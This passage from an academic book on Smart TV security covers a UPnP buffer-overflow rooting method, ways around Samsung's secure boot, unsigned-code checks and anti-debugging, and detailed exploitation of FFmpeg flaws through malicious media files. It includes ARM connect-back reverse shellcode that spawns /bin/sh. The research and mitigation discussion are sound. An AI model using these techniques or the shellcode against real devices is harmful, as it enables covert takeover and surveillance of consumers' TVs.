Samsung and other STVs (cf. Sect. 2.6.3), the FFmpeg project’s libraries are used
for media processing. STVs can be rooted by manipulating media files that exploit
vulnerabilities in FFmpeg upon playback. This technique can be used on all STV
generations and is presented in detail in Chap. 2.
1.3.4 UPNP
Universal Plug and Play (UPnP) is a protocol that facilitates discovery and commu-
nication between networked devices. It is used on many devices, including routers,
PCs, media servers, and Smart TVs. Rapid7 published a report [6] on vulnerabilities
in several UPnP libraries, including libupnp. These vulnerabilities were fixed in
libupnp release 1.6.18, which was released in January 2013.
A rooting method involving UPnP was published by Frédéric Basse at a confer-
ence [2] and as a blog entry [1], which is summarized in the following paragraphs.
The target is a MIPS-based Philips STV from 2011, running the latest firmware from
July 2013 with Linux kernel 2.6.28.9. The STV employs a vulnerable version of
libupnp, which can be exploited to gain root access by sending specially crafted
UPnP packets to the STV.
Vulnerability
Basse exploits CVE-2012-5958, a stack-based buffer overflow vulnerability that

allows control over the four saved MIPS registers $s0 – $s3 as well as the saved
return address $ra. Controlling the return address allows the attacker to redirect
the control flow of the program to code of his choosing. This requires an absolute
address to populate the $ra register with, which in turn requires knowledge of
the process’ memory layout. In general, this information can be gathered from the
process’ binary, or by accessing the process’ memory layout on a running system via
the /proc/[pid]/maps kernel interface [11]. In this case, neither was available,
as firmware upgrades are encrypted and there was no known method to gain shell
access to the STV.
Memory Layout
The vulnerability itself, however, can be used to learn the process’ memory layout.
After returning from the vulnerable function unique_server_name, the over-
written register $s1 is passed as an argument to the function ssdp_request_
type1, where it is used as a string pointer for subsequent read accesses. The regis-
ter $r0 is dereferenced to write the value 0. By varying $s0, $s1, and $ra while
monitoring the STV’s serial console for crashes, Basse was able to reconstruct the
process’ virtual memory mapping, including access permissions.
Code Identification
After identifying an executable memory region assumed to be the heap, another

UPnP function was triggered that is known to store part of the packet’s contents on
the heap. This allows an attacker to place code on the heap, albeit without knowing
the exact address at which the code will be placed. This is the last piece of miss-
ing information, which can be gained by instrumenting ssdp_request_type1,
again. This function searches for a list of static substrings in the string pointed to
by $s1 and responds to the UPnP request if it was successful. This behavior can
therefore be leveraged to search the heap for the previously placed code. Once found,
a final UPnP request is sent that overwrites $ra to jump to the (shell) code on the
executable heap.
1.3.5 Countermeasures
Samsung has implemented various protection measures to prevent the modification

of firmware, installation of binaries, and debugging of the STV software in general.
These measures can be circumvented, but they do complicate initial security analyses.
Most of the following information is based on Andrew Karpow’s master’s thesis [9],
which has an in-depth treatment of this topic.
Secure Boot
All software components on the STV are protected by cryptographic signatures that
are verified at some point during the boot process. The Linux kernel—verified and
invoked by the boot loader—starts the /sbin/init userland program, which is
responsible for launching the software stack operating the STV. In parallel, the kernel
starts the authuld process, which verifies the textbook RSA signatures of the read-
only partitions hosting the STV software. This takes several minutes, after which
authuld reports the result back to the kernel and restarts the STV if necessary.
One way to defeat the secure boot process is to exploit the time window between
starting init and finishing the verification of the read-only partitions. A modified
init could kill authuld and spoof the report sent to the kernel. If something goes
wrong, however, the STV is bricked, which is why this method is generally avoided.
A less intrusive method has been used by the SamyGO project for several years,
which involves replacing a shared library on a read-write partition. To this end, the
(autostart) Skype app is installed from the Samsung app store, which places the
shared library libskype.so on the read-write partition for apps. This library can
be overwritten using one of the previously presented methods; from then on, code
from the user-provided library is executed automatically when the STV is started.
UEP
The Unsigned Execution Preventer (UEP) periodically checks read-write partitions

for executable files. Authorized files carry a valid 80 byte signature at the end of the
file that conforms to the RSASSA-PKCS1-v1.5 scheme [8]. If the UEP encounters
an executable file without a valid signature it is immediately deleted.This counter-
measure, however, can be defeated quite easily by automatically killing the UEP
process whenever it is respawned.
Anti-Debugging
Samsung employs several anti-debugging measures in one of the threads of the

STV’s main software process, exeDSP. Every three seconds, checks are performed
to identify a commencing debug session, which result in the immediate reboot of
the device. Interestingly, exeDSP provides a function to disable the anti-debugging
thread, which allowed us to debug the STV. This thread implements the following
anti-debugging measures:
Parent PID The thread checks if the process ID (PID) of the parent has changed,
which is the case for forked child processes. This check, however, appears to be
pointless, as a forked process starts out executing only the thread that issued the
fork [10]. Therefore, a forked process would not run the check thread in the first
place.
SIGTRAP The Linux kernel can send various signals to processes, which can install
handlers to treat (most of) them. If a debugger wants to set a breakpoint at a specific
instruction in a process’ code, it can replace that instruction with a trap instruction.
This causes the process to trap into the kernel once it attempts to execute the trap
instruction. The kernel, in turn, will send a SIGTRAP signal to the process, which
is caught and handled by the debugger without notifying the process. The anti-
debugging code installs a handler for this signal, which, however, should have no
effect since the signal is handled by the debugger and not the process itself.
PTRACE The Linux kernel provides the ptrace API to facilitate the debug-
ging of processes. This API is used extensively by the GNU debugger (GDB). The
PTRACE_ATTACH call, for example, is used to attach to a target process; no more
than one program may be attached at any time. The anti-debugging code leverages
this by periodically trying to attach to itself, which fails if the process is being
debugged by another process. Attaching GDB to exeDSP takes several seconds, as
the binary is large and consists of many threads that have to be stopped. During this
time, the anti-debugging thread notices that it cannot attach to itself and restarts the
STV.
References
1. F. Basse. Exploitation of Philips Smart TV. Blog post, Fred’s notes, Nov. 2014. http://www.
fredericb.info/2014/11/exploitation-of-philips-smart-tv.html.
2. F. Basse. Sécurité des ordivisions: Exploitation de CVE-2012-5958. In Proceedings of the
Symposium sur la sécurité des technologies de l’information et des communications, June
2014.
References 13
3. A. Dewdney and P. Ride. The Digital Media Handbook. Media Practice. Routledge, 2nd edition,
2014.
4. ETSI. Hybrid Broadcast Broadband TV (TS 102 796 V1.2.1). European Telecommunications
Standards Institute, Nov. 2012.
5. Gumstix Inc. Overo Fire COM, Apr. 2009. https://store.gumstix.com/overo-fire-com.html.
6. HD Moore. Security flaws in universal plug and play: Unplug, don’t play. Whitepaper, Rapid7,
Jan. 2013. https://community.rapid7.com/docs/DOC-2150.
7. IHS DisplaySearch. Quarterly global TV shipment and forecast report, Apr. 2015.
8. J. Jonsson and B. Kaliski. Public-key cryptography standards (PKCS) #1: RSA cryptography
specifications version 2.1, February 2003. RFC3447.
9. A. Karpow. Hardware and software security of modern Smart TVs. Master’s thesis, Technische
Universität Berlin, June 2014.
10. Linux Programmer’s Manual. fork – create a child process (FORK(2)). http://man7.org/linux/
man-pages/man2/fork.2.html.
11. Linux Programmer’s Manual. proc – process information pseudo-filesystem (PROC(5)). http://
man7.org/linux/man-pages/man5/proc.5.html.
12. B. Michéle and A. Karpow. Watch and be watched: Compromising all Smart TV generations.
In Proceedings of the 11th Consumer Communications and Networking Conference (CCNC),
pages 351–356. IEEE, Jan. 2014.
13. C. Mulliner and B. Michéle. Read it twice! A mass-storage-based TOCTTOU attack. In Pro-
ceedings of the 6th Workshop on Offensive Technologies, WOOT ’12, pages 105–112. USENIX
Association, 2012.
14. Samsung. Evolution Kit SEK-2000, Mar. 2014. http://www.samsung.com/us/video/tvs-
accessories/SEK-2000/ZA.
15. SamyGO. SamyGO, Samsung firmware on the go. http://wiki.samygo.tv.
16. TNS Infratest. Digitalisierungsbericht 2014: Daten und Fakten. Technical report,
Die Medienanstalten, July 2014. http://www.die-medienanstalten.de/publikationen/
digitalisierungsbericht.html.
Chapter 2
Media Playback System
Abstract Media playback functionality is essential to any Smart TV (STV).

Common features such as the built-in media player, video-on-demand apps, or the
web browser build upon this functionality, which is often implemented in the form
of a central media playback system. The processing of media files is a complex task,
however, and without appropriate protection measures, vulnerabilities in this com-
ponent can lead to the complete compromise of the STV. This chapter presents two
vulnerabilities and corresponding PoC exploits that are able to fully compromise all
previous STV generations from a major vendor.
2.1 Introduction
According to a recent non-representative survey study [20] on the user acceptance

of STV functions, nine out of ten consumers use their STV frequently for watching
(broadcast) movies and TV shows. The second-most popular feature is the play-
back of videos, photos, and music, which is used frequently by half of consumers.
Virtually every STV offers this functionality, regardless of the vendor.
Media playback, however, is a complex task, especially if the TV is supposed
to support a large variety of media formats. Vendors are left with two options:
Develop completely proprietary solutions or leverage existing open source libraries.
The first option is expensive and time-consuming, delaying the time to market and
severely limiting the number of supported media formats. Open source libraries, on
the other hand, have built-in support for a large number of media formats. As with
any software, the higher the complexity, the greater the number of bugs. Eventually
these bugs are discovered and fixed; however, for open source software this also
implies that they become public knowledge. Attackers can take advantage of this
and develop exploits targeted at unpatched systems.
As Smart TVs may incorporate vulnerable libraries for media playback, attackers
can attempt to compromise them with malicious media files. STVs are particularly
vulnerable, as their firmware update cycles are much less frequent than those of

DOI 10.1007/978-3-319-20994-4_2
16 2 Media Playback System
conventional PCs. As a result, the fix of a critical bug in an open source media library
can still leave STVs vulnerable for a considerable time. This poses a practical threat
to consumers, due to the widespread availability and use of features related to the
playback of media. Section 4.3 covers this topic in greater detail.
This chapter starts with a description of the various ways in which the media
playback system is used by features on modern Smart TVs. Section 2.3 explains
the inner workings of this component in the context of Samsung STVs. The next
section introduces an attack scenario based on the distribution of malicious media
files on the Internet. This is followed by Sect. 2.5, which presents vulnerabilities in
two movie file parsers and their exploitation on Samsung STVs. Finally, mitigation
techniques and affected devices are discussed in Sect. 2.6.
2.2 Integration
Smart TVs provide media playback services to the rest of the system via a dedicated
media playback subsystem. It encapsulates the complexity of media playback and
provides an API, which is used by other parts of the system. Figure 2.1 illustrates
the connections between the media playback system and the (potentially malicious)
outside world.
Media playback itself consists of multiple components, each of which can con-
tain vulnerabilities and lead to a compromised system. These components typically
implement methods to fetch, identify, and decode media content. Popular meth-
ods and protocols for fetching content are local file access, HTTP, the Real-Time
Transport Protocol (RTP) [25], Microsoft’s Media Server (MMS) protocol [23], and
Adobe’s Real-Time Messaging Protocol (RTMP) [1].
The identification component analyzes the media content and returns the con-
tainer format and contained codecs. This information is used to choose appropriate
decoders and start the actual playback. The following describes the STV compo-
nents that leverage the media playback system.
untrusted trusted
Smart TV
app store broadcast

channel DVB /
HbbTV
Internet playback
VOD
local
network DLNA
web site
Fig. 2.1 Smart TV features with access to the media playback system
2.2 Integration 17
2.2.1 Media Player
The built-in media player allows users to play movies, browse through photographs,
and listen to music. Media browser and playback controls are offered as a dedicated
user interface and are comfortably controlled with the STV’s remote control. There
are multiple ways to supply a STV with corresponding files.
USB Drive STVs can access media files stored on attached USB drives. In general,
only files with a supported filename extension are offered in the media browser.
Depending on the STV model, a varying amount of file metadata such as size and
date is presented alongside the media file. Some models gather additional data by
reading header information from every file as soon as the media browser is opened.
DLNA PCs and media servers can also share content on the local network using
the DLNA protocol [7]. A DLNA-compliant TV will automatically discover these
resources. If a user opens the built-in media player, he is presented with a list of
available media files, which he can choose to play directly from the network. Alter-
natively, discovery, browsing, and playback on the TV can be controlled remotely
by other devices on the same local network, e.g., a smart phone.
Broadcast Recordings Most modern Smart TVs allow the user to record broadcasts
on attached USB storage. In general, the recordings are encrypted and can only be
played back on the STV they were recorded on; however, there are tools to decrypt
the recordings on some STV models. Upon playback, these files are handled by the
built-in media player, too.
2.2.2 Applications
Smart TVs generally offer three different platforms for the execution of code pro-
vided by third parties: The web browser, the runtime for native apps, and the HbbTV
runtime. All of them have unrestricted access to the media playback system via a
corresponding Application Programming Interface (API).
Web Browser Modern STVs include HMTL5-capable web browsers. This allows
web sites to embed videos without requiring the use of plugins. Nonetheless, many
STVs also include Adobe’s Flash player. Both mechanisms rely on the internal
media playback system for the reproduction of multimedia content. Web browsers
are frequently implemented as apps, i.e., they run on top of the app engine.
Apps Smart TVs offer an API to apps that allows the playback of media files. The
source of these files can be either local storage or a remote resource located on the
local network or the Internet. Video on demand (VOD) apps are a popular example;
they allow consumers to access movies without the need for additional hardware.
The encrypted videos are streamed directly to the TV, where they are decrypted and
passed on to the media playback system.
HbbTV The Hybrid Broadcast Broadband Television (HbbTV) [8] standard—

among others (cf. Sect. 3.3)—allows broadcasters to enrich the current program
with digital services. These are HTML-based applications that are displayed as an
overlay on the broadcast program and operated using the TV’s remote. Starting with
HbbTV version 2.0 [13], the HTML5 video element is used; previous HbbTV ver-
sions use a separate video element. HbbTV 2.0 also adds support for push VOD
functionality, i.e., videos are transmitted over the broadcast channel and stored on
receivers for later playback. All of these videos are handled by the media playback
system, as well.
2.3 Implementation
The media playback system offers its services through an API to the aforementioned
system components. The API allows these components to access media files via
URLs and subsequently to control their playback. This is a common approach used
by many vendors. The following describes the concrete implementation used on
various Samsung models.
2.3.1 Proprietary Player
Apart from a few small helper programs, all of the STV functionality is implemented
in a single program, called exeDSP. This process runs as root with full system priv-
ileges, consisting of roughly 300 threads. If an application uses the respective API
to access and play a media file, new threads are started to handle the playback. One
of these threads identifies the file’s media format with the help of libavformat, a
library from the FFmpeg project [10] used for accessing and demultiplexing mul-
timedia streams. The code for this thread is identical for all of the APIs, but the
name differs. It is called EMP_T-Player, DAE, or MM Player for the app engine,
the HbbTV runtime, and the built-in stand-alone media player, respectively.
2.3.2 File Format Identification
The media playback system handles URLs pointing to movie data, e.g., a file
on USB storage, an HTTP address, or a resource on a DLNA server. URLs are
handed over to the av_open_input_file function of libavformat. This function
opens the URL and tries to recognize the container format by probing for every
format known to FFmpeg. Once found, a container-specific read_header func-
tion is called to identify the streams contained in the movie. The next function
called is av_find_stream_info, which collects information about each identified
2.3 Implementation 19
stream by invoking a stream-specific read_packet function. Listing 2.1 shows a

backtrace [19] of the media player thread while collecting stream
information.
Applications that use the FFmpeg libraries are required to register each format
and codec they wish to support. This can be simplified by calling register_all,
which sets up support for all formats and codecs supported by the FFmpeg frame-
work. Alternatively, only those formats and codecs explicitly required can be reg-
istered using register_input_format and register_av_codec. From a security
point of view, the latter is the better option, as it decreases the attack surface. Sam-
sung STVs register all formats, however—including many formats not supported by
the proprietary playback component such as 4xm [21].
2.3.3 Playback
The resulting data structure carries information about the container format and every
stream within that container. This structure is then returned to the proprietary calling
function. If the format is supported by the STV, the proprietary player will start
to play the movie using the hardware-accelerated playback; otherwise playback is
aborted. This is the core method for video playback on Samsung Smart TVs, which
is used by all other software components. The only exception is regular broadcast
TV, which is handled directly by another software and hardware component.
Listing 2.1 Debug session for media player on 2012 model

1 ( gdb ) i threads
2 392 " MM Player " av_find_stream_info () from libavformat . so
3 ( gdb ) bt
4 #0 av_find_stream_info () from libavformat . so
5 #1 MULTIMEDIA :: CFFMpeg :: AVFindStreamInfo ( AVFormatContext *) ()
6 #2 MULTIMEDIA :: CContainer :: t_AVParse () ()
7 #3 MULTIMEDIA :: CContainer :: Parse () ()
8 #4 ?? ()
9 #5 ?? ()
10 #6 CStreamMediaCommandRunner :: t_ThreadRun ( void *) ()
11 #7 start_thread () from / lib / libpthread . so .0
12 #8 clone () from / lib / libc . so .6
2.4 Attack Scenarios
The goal of an attacker is to gain full control over STVs, targeting either a specific
victim or a large number of victims. To attack the media playback system, the target
STV has to access a malicious media file. Any of the components listed in Sect. 2.2
can be utilized for this purpose. An attacker could create an app with benign video
playback functionality and publish it in Samsung’s app store, which currently offers
approximately eight hundred free apps. Once installed, the app could escape its
sandbox and compromise the host STV by playing back a malicious movie file from
untrusted trusted 4
Smart TV
3 4
1
local
network
2
playback
Fig. 2.2 Attack scenario [22]: The attacker places a malicious movie file on the Internet (1), which
the victim downloads to a USB drive (2). The victim connects the drive to the STV and starts the
playback of the movie (3); this triggers a vulnerability in the media player, giving the attacker full
control over the STV. Finally, the payload contained in the movie file is executed to tap into the
camera and microphone (4), or to attack other devices on the same (trusted) local network (4)
the Internet. Visiting a web site that embeds a malicious video is another way to
become infected. Finally, an HbbTV app containing a malicious media file could be
transmitted via DVB; an attack that we present in detail in Chap. 3.
Malicious media files allow attackers to bypass the traditional (implicit) protec-
tion offered by NAT gateways, in which devices on the local network are hidden
from access by potential attackers on the untrusted Internet. STVs are generally
connected to the (trusted) local network—a compromised STV is thus likely to
have access to other devices on the same network such as PCs and IoT devices.
Section 4.1 discusses potential threats to consumers along with mitigation strate-
gies.
Media Player The STV’s built-in media player can be targeted directly, which we
exploited in a PoC attack [22]. In this scenario, an adversary manipulates a popular
movie file and offers it on a file sharing site on the Internet. Users download the file,
place it on a USB stick or DLNA media server, and access it from the STV. The STV
is then compromised upon playback of the malicious file, or—depending on the STV
model—while browsing the folder containing the file. Finally, the attacker’s payload
is executed, which in the case of our PoC is the tapping of camera and microphone,
in addition to a remote shell on the STV. Figure 2.2 illustrates this attack scenario.
2.5 Exploitation
The software part of the media playback system is implemented as a component

of the STV’s core process, exeDSP. This process runs as user root with full system
privileges and—at least up to and including 2013 models—without any of the com-
monly used exploit mitigation techniques such as non-executable stack and heap
(NX), address space layout randomization (ASLR), or stack canaries (see Sect. 4.3).
Any vulnerability in the media playback system can therefore easily be exploited,
opening the door for complete control over the target STV.
2.5 Exploitation 21
New vulnerabilities are discovered constantly in all parts of FFmpeg, including

libavformat. Vulnerabilities in code sections related to file access or analysis of
headers can be exploited to gain control over STVs. In 2014, we showed how to
exploit a known vulnerability in the 4xm file format to get root access on Samsung
B-series STVs [22]. The vulnerability exploited was CVE-2009-0385 [14], an inte-
ger signedness vulnerability that leads to an exploitable NULL pointer dereference.
Recent Samsung STV generations have switched to FFmpeg version 0.6.90-
rc0 [9], in which this vulnerability has been fixed. We therefore present another
exploit for a more recent vulnerability, which is a classical stack-based buffer over-
flow. Even though the STV’s operating system does not use ASLR, some libraries
are loaded to random addresses at runtime. The section of the main binary con-
taining the executable code (TEXT), however, is always mapped at the same virtual
memory address and is therefore an ideal source of ROP gadgets. The result is a
reliable exploit that is run in the context of the STV’s main process, with full root
privileges.
2.5.1 4xm
4xm is a media file format that can transport a video and multiple audio streams [21].
It was developed for computer and console games, but is rarely used. Samsung’s B-
series STVs do not support this file format and should therefore not be vulnerable.
However, as explained in Sect. 2.3, the STV’s media player registers all media for-
mats with FFmpeg and thus makes itself vulnerable to flaws in any of the file parsers
and transports supported by FFmpeg.
A 4xm file consists of a number of chunks. The header contains chunks defin-
ing the properties of every video and sound track. These chunks start with the
four-character ASCII codes ‘vtrk’ and ‘strk’, respectively. Listing 2.2 shows the
structure of a strk chunk. FFmpeg’s fourxm_read_header function parses the file
header for any occurrence of a strk chunk and fills in the corresponding fields.
Listing 2.4 shows the relevant code part.
Vulnerability
Tobias Klein [14] discovered a type conversion error in the fourxm_read_header
function, which is listed as CVE-2009-0385. In line 6 of Listing 2.4, the current
track number is read from the 4xm file header as an unsigned integer and stored to
the signed integer variable cur. If the provided value is larger than INT_MAX, cur
will be interpreted as negative. In this case, the condition in line 7 is not met and
the code in line nine responsible for allocating memory is never executed, leaving
tracks initialized to NULL. This leads to four exploitable NULL pointer dereferences
in lines 11–14: User-supplied data can be written to address 0 + cur · 20 + x, where
x is the offset of the corresponding field within the AudioTrack structure given in
Listing 2.3. As cur is user-controlled, too, arbitrary data can be written to a wide
range of memory addresses.
Exploitation
There are at least two ways to exploit this vulnerability. The conventional approach
can be implemented straightforward, but has reliability issues. These can be over-
come by utilizing the specific nature of this vulnerability; a corresponding exploit is
presented in the second approach.
Listing 2.2 strk chunk in 4xm file

1 bytes 0- 3 chunk identifier // ’strk ’
2 bytes 4- 7 length // 48
3 bytes 8 -11 track number // cur
4 bytes 12 -15 type // . adpcm
5 bytes 16 -35 unknown
6 bytes 36 -39 num audio channels // . channels
7 bytes 40 -43 sample rate // . rate
8 bytes 44 -47 sample resolution // . bits
Listing 2.3 AudioTrack structure (20 bytes)

1 typedef struct AudioTrack {
2 int rate ;
3 int bits ;
4 int channels ;
5 int stream_index ;
6 int adpcm ;
7 } AudioTrack ;
Listing 2.4 fourxm_read_header with strk parsing (excerpt)

1 int cur = -1; // current track
2 int track_count = 0; // total tracks
3 AudioTrack * tracks = NULL ;
4 for ( i =0; i < header_size -8; i ++) {
5 if ( fourcc_tag == strk_TAG ) {
6 cur = RL32 (& header [ i +8]);
7 if ( cur +1 > track_count ) {
8 track_count = cur + 1;
9 tracks = av_realloc ( tracks , track_count *20);
10 }
11 tracks [ cur ]. adpcm = RL32 (& header [ i +12]);
12 tracks [ cur ]. channels = RL32 (& header [ i +36]);
13 tracks [ cur ]. rate = RL32 (& header [ i +40]);
14 tracks [ cur ]. bits = RL32 (& header [ i +44]);
15 }
16 }
2.5 Exploitation 23
Conventional Approach
A malicious 4xm file consists of two parts, i.e., the payload and a strk chunk to
redirect the program flow to the payload. First, the payload—prepended by a large
NOP sled—is embedded in the file’s header. Then, a strk chunk is crafted that
overwrites a function pointer in the Global Offset Table (GOT) (see Appendix).
Suitable functions for being hijacked are those that will be called just after the GOT
entry has been manipulated.
Listing 2.5 Vulnerable code path in native player on Samsung 2009 model
1 av_register_all ();
2 av_open_input_file ();
3 puts ( " open successful " );
4 dump_format ();
5 seek ( beginning_of_file );
6 start_playback_natively ();
exeDSP loads the FFmpeg libraries at runtime using dlopen, rendering the
address of FFmpeg’s library sections including the GOT unpredictable. Knowledge
of the GOT section’s load address, however, is required for overwriting the target
function pointer, thereby excluding these library functions from being suitable can-
didates. Instead, a function must be chosen that is called from within exeDSP after
the library call returns. Listing 2.5 shows that the call to puts can be leveraged to
jump to the attacker-provided payload, which—being part of the malicious 4xm file
header—has been copied to the heap by the previous call to av_open_input_file.
However, if the size of the header exceeds MMAP_THRESHOLD, roughly
400 KB, malloc will allocate a memory region by calling mmap. This is undesirable,
as the assigned address is unpredictable and hence cannot be reliably jumped to.
For values smaller than MMAP_THRESHOLD, however, the resulting address is within
a predictable 400 KB range most of the time. To complete the attack, the GOT func-
tion pointer of puts is set to point to the beginning of this address range. After
returning from av_open_input_file, the call to puts jumps to the NOP sled on
the heap, eventually executing the payload.
The downside of this approach is the dependence on malloc’ed heap addresses
being in the expected memory range. Whether this is the case depends on other
activities in the system. For example, users might have opened other media files or
the content library prior to playing back the malicious file. In this case, memory
addresses returned by malloc will have changed significantly and playing back the
malicious file will therefore cause the TV to crash and reboot. This vulnerability,
however, can be exploited reliably by using another approach as listed below.
Fixed-Address Approach
This exploit is fully reliable and can support a number of different STV models and
firmware versions in a single malicious file. It utilizes that the header is scanned
for all strk chunks by fourxm_read_header. For each hit, an AudioTrack struc-
ture, given in Listing 2.3, is filled with values from a strk chunk of the mali-
cious file. This can be utilized by placing the payload in the file in such a way
that fourxm_read_header reassembles the payload to memory as it fills in these
structures (lines 11–14 in Listing 2.4). The final strk chunk overwrites the puts
entry in the GOT.
The great advantage here is that the payload is written to a fixed address in mem-
ory, i.e., to cur · 20. Suitable memory addresses can be found in the BSS memory
segment, which is mapped with read, write, and execute permissions (RWX) on this
STV platform. The entry in the GOT can point directly to this fixed address, result-
ing in a fully reliable exploit. Furthermore, multiple GOT function pointers can be
overwritten at the same time, providing the flexibility of having a single malicious
file that is able to compromise different STV models and firmware versions.
The version of FFmpeg used has a limitation of supporting a maximum of 20
audio tracks. For each audio track, five consecutive 32-bit values are written to mem-
ory; four of them are user-controlled. The fifth field, stream_index, is initialized
with zero and increased by one for each audio track.
To support larger payloads, the exploit can be divided into two stages, as illus-
trated in Fig. 2.3. The first stage payload is small and embedded into the strk
chunks as explained above. Its sole task is to load and execute the second stage
payload from the media file, which can be arbitrary in size. The first stage payload
can be stripped down to 20 opcodes, which fit into five strk chunks. This leaves
15 chunks to overwrite GOT entries for at least 15 different TV models or firmware
versions, if needed.
Fig. 2.3 4xm_read_header writes payload to BSS and redirects puts call to payload; payload
loads and invokes stage two; playback is redirected to benign video
2.5 Exploitation 25
Control Integrated Player

From an attacker’s point of view, it is important that the movie the user wanted to see
is actually played back. Otherwise, the user might notice that something is wrong
and become suspicious. The exploit takes this into account. open_input_file fills
in a structure containing information on the file format, including a pointer to the
demuxer. The exploit changes the demuxer from the unsupported 4xm to, e.g.,
matroska and seeks to the beginning of the benign movie within the file. To fill
in missing information about this movie, open_input_file is called again with the
modified structure.
A last step is needed for playback to actually work. The proprietary player, after
verifying that the media format detected by FFmpeg is actually supported, seeks to
the beginning of the file. Obviously, this does not work, as the file starts with the
unsupported 4xm header, which would crash the TV. The exploit therefore hooks
the read function call in the GOT. The first attempt of the player to read from the
file results in a call that seeks to the beginning of the benign movie data, removes
the hook, and subsequently reads the requested data.
2.5.2 Buffer Overflow
Tobias Klein disclosed the vulnerability in the 4xm file format to the FFmpeg main-
tainers in January 2009; FFmpeg released a fix on the following day. Samsung’s
2009 series STV uses an FFmpeg version from the end of 2008 and is therefore vul-
nerable. Newer STV generations, however, use more current versions of FFmpeg
and are therefore not affected by this vulnerability. To demonstrate that the media
playback system continues to pose a risk, we looked for a new exploitable vulnera-
bility, preferably one that worked on all Samsung STV generations.
Samsung STVs from 2010 and 2011 use libavformat version 52.34.0, whereas
from 2012 to 2014 version 52.104.0 is used, which is part of FFmpeg version 0.6.90-
rc0. While searching through the FFmpeg source code, we discovered a classical
stack-based buffer overflow. It has been fixed in FFmpeg for some time, but it was
never classified as a security bug and was not assigned a CVE identifier, which is
probably why it was never fixed on Samsung’s STVs.
Vulnerability
The vulnerable code reads data from the movie file to a fixed-size array on the
stack. The number of bytes read is specified in the file, and therefore a malicious
file is able to overflow the buffer and eventually the saved return pointer. Control
of the execution flow is gained, when the function loads the return pointer from the
stack to the register containing the program counter (PC).
Exploitation
The STV does not employ any exploit mitigation techniques and hence should allow
for an attacker to place the payload in the buffer on the stack and set the PC to point
to the buffer. The FFmpeg libraries, however, are not loaded together with the main
executable exeDSP, but rather dynamically the first time a video is accessed. As a
consequence, the start addresses of the libraries—including their stack—are random
and cannot be predicted; hence there is no known absolute stack address to load into
the PC.
This can be circumvented using a technique known as return-oriented program-
ming (ROP) [6, 16]. The attacker controls the stack, which is leveraged to chain
together a series of code fragments or gadgets, thereby creating a so-called ROP
chain. ROP chains are normally used to circumvent exploit mitigation techniques
and can be used to execute a second payload stage (see Sect. 4.3.2).
Here, the goal is to copy the stack pointer (SP) to the PC. But first another prob-
lem has to be solved. Unlike Intel CPUs, ARM does not provide cache coherency
between its data and instruction cache [5]. The payload that was copied to the stack
is still in the data cache and has not been written through to the memory. Attempting
to execute code from this buffer would therefore load the old stack contents from
memory into the instruction cache and hence crash the process.
To avoid this, the data cache for the affected stack memory range has to be flushed
to memory and the instruction cache has to be invalidated. This is a privileged oper-
ation, which means it has to be done by the Linux kernel, which offers a syscall
for this purpose. The caller has to provide the start and end address of the memory
region to be flushed. The only way to invoke this syscall is using ROP, as we cannot
execute any code directly yet. On Samsung STVs, exeDSP conveniently provides a
function to flush the cache, which uses this syscall.
Figure 2.4a provides the crafted stack after the vulnerable function has over-
flowed the buffer on the stack and before it returns to the caller. Upon returning,
the program flow is diverted to assemble the desired stage one ROP payload. This
payload is composed of small fragments of existing code, i.e., benign code present
in the address space of the process (exeDSP). It is glued together by the stack, which
controls the content loaded to the registers, especially the program counter. The
resulting code is listed and explained in Fig. 2.4b.
In a nutshell, the task of the ROP chain is to clear the caches and continue exe-
cution at the overflowed buffer on the stack. There the exeDSP process is forked;
the parent process returns gracefully from the vulnerable function while the child
process executes the final payload. An exemplary payload is given in Listing 2.6,
a connect-back remote shellcode [15]. This allows for remote interactive control of
the STV, which can be used to load arbitrary program code to the STV. Section 4.1.1
gives an overview of potential malware, including a description of our code to tap
into the built-in camera and microphone available on Samsung’s premium STV
models.
2.5 Exploitation 27
(a)
(b)
Fig. 2.4 ROP code to exploit stack-based buffer overflow in libavformat on Samsung E-series,
all numbers in hexadecimal, addresses truncated to lower two bytes. a Manipulated stack before
return from vulnerable function. b ROP code and fork-payload on stack
Listing 2.6 Connect back shellcode [15]

1 . arm
2 thumb : // switch to thumb mode
3 add r1 , pc , #1
4 bx r1
5
6 . thumb
7 socket : // create TCP socket
8 mov r0 , #2 // AF_INET ( IPv4 )
9 mov r1 , #1 // SOCK_STREAM ( TCP )
10 sub r2 , r2 , r2
11 lsl r7 , r1 , #8
12 add r7 , #25
13 svc #1
14
15 connect : // connect to remote host
16 add r6 , r0 , #0
17 adr r1 , sockaddr
18 mov r2 , #16
19 add r7 , #2
20 svc #1
21
22 dup2 : // stdin / out / err to socket
23 mov r7 , #63
24 mov r1 , #2
25 loop :
26 add r0 , r6 , #0
27 svc #1
28 sub r1 , #1
29 bpl loop
30
31 execve : // execute / bin / sh
32 adr r0 , shell
33 sub r2 , r2 , r2
34 push { r0 , r2 }
35 mov r1 , sp
36 mov r7 , #11
37 svc #1
38
39 . align 2
40
41 sockaddr :
42 . short 0 x2 // AF_INET
43 . short 0 x3412 // TCP port
44 . byte 10 ,0 ,0 ,1 // IP address
45
46 shell :
47 . asciz "/ bin / sh "
2.5.3 Summary
To sum up, the following steps are necessary to construct a malicious media file
that is able to compromise Smart TVs which use (open source) media processing
libraries. First, the version of the library used on the target system has to be deter-
mined. Using this information, the library’s bug tracker, version control system log
messages (e.g., git log), or source code can be used to find exploitable vulnera-
bilities; alternatively, the binary has to be reverse-engineered if no source code is
available.
On most Samsung STV models, the vulnerability can be in any file format sup-
ported by FFmpeg and does not have to be supported by the STV. An exploit can
then be developed and tested in an emulator that supports the CPU architecture of
2.5 Exploitation 29
the target STV, e.g., QEMU [3]. Once this works reliably, the exploit can be ported
to run on the STV. A small portion of the proprietary integrated player interface to
FFmpeg has to be disassembled. Then the exploit can be adapted to convince the
player to actually play back the benign part of the file.
2.6 Discussion
There are various implications resulting from a compromised STV, which we dis-
cuss in Chap. 4. Vendors have a number of possibilities to mitigate these vulnerabil-
ities, which are also discussed in that chapter.
2.6.1 Mitigation
Media files should be processed in a deprivileged, isolated environment. The secu-

rity on Samsung STVs could be significantly improved by following a few sim-
ple steps. Currently, exeDSP invokes functionality from libavformat in the same
address space and with full system privileges. This is unnecessary and could be
avoided easily by spawning a separate process with the library’s code, responsible
for the identification of media formats. This process would not require any privi-
leges on the system, and could receive the data to be analyzed from the main exeDSP
process via inter-process communication (IPC) sockets. The libavformat process
could be further isolated with the aid of Linux security modules (LSM) such as for
instance SELinux or AppArmor; in addition, system calls could be filtered with sec-
comp [18]. Together, these security precautions are able to mitigate the threat ema-
nating from existing vulnerabilities: A compromised libavformat process cannot
escape its sandbox and therefore cannot take over control of a STV.
